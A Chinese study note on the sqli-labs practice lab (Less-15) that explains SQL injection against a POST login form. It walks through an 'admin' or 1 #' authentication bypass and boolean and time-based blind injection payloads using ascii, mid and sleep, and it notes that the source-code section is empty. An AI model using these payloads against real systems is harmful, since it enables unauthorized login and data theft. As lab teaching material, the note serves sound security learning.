sqli-labs 学习笔记
Abstract: 掌握 sqli-labs 每个关卡的注入原理,熟练使用手工注入和sqlmap 工具的使用,对源代码进行简单分析。
Table of Contents
SQL 注入常用语句
information_schema 表的应用
1 | # 查询库名 |
UNION SELECT 联合查询
1 | # 先确定字段数 |
布尔盲注
1 | AND length(database()) > 0; |
时间盲注
1 | # if 函数 |
Less-15
手动注入
- 打开首页如下图

- 在查看器中找到
form表单的名称

- 使用
HackBar以POST方式提交数据,随意输入用户名和密码,可以看出,页面提示登录失败。
1 | uname=123&passwd=123&submit=submit |

- 尝试使用万能密码登录,
1 | uname=admin' or 1 #&passwd=123&submit=submit |

可以看出登录成功。故我们可以利用用户名这块进行 sql 注入。找到注入点后,接下来我们来分析下到底该有哪种注入方式,首先,无论用户是否登录成功,页面均没有可用的数据以及数据库报错显示出来,所以 UNION SELECT 和报错注入显然是不合适的。根据登录成功与否显示的图片不同,故可以使用布尔盲注。
布尔盲注
1 | uname=admin' and ascii(mid((select user()), 1, 1))>0 #&passwd=123&submit=submit |
运用 ascii 和 mid 函数时,第一次应该先于 0 比较,因为这样能尽快判断出写入的语句是否存在错误,避免浪费过多时间。

1 | uname=admin' and ascii(mid((select user()), 1, 1))>120 #&passwd=123&submit=submit |

规范的做法应该是,第一步先用 count 判断库/表/字段个数,第二步是用 limit 控制把库/表/字段一一输出,然后用 length 判断每个名的长度,第三步用 ascii 和 mid 一一判断名中每个字符的大小。
时间盲注
1 | if(length(user())>1, sleep(1), 1) #&passwd=123&submit=submit |

可以看出,点击 Execute 后,页面等待一段时间后,显示登录错误,当我们把数字改到 14 后,点击 Execute ,页面立刻执行完毕,显示登录成功。其中原因是 length(user()) 的输出为 14,当 > 后面的数字小于 14 时,if() 函数执行 sleep(1) ,之后返回 0,然后执行如下的 sql 语句。
1 | SELECT username, password FROM users WHERE username='admin' and 0 # and password=123 LIMIT 0,1 |
后面是永假条件,此时的 SQL 语句返回空。反之,
1 | SELECT username, password FROM users WHERE username='admin' and 1 # and password=123 LIMIT 0,1 |
源码分析
对输入参数做处理的核心代码如下所示:
1 |
|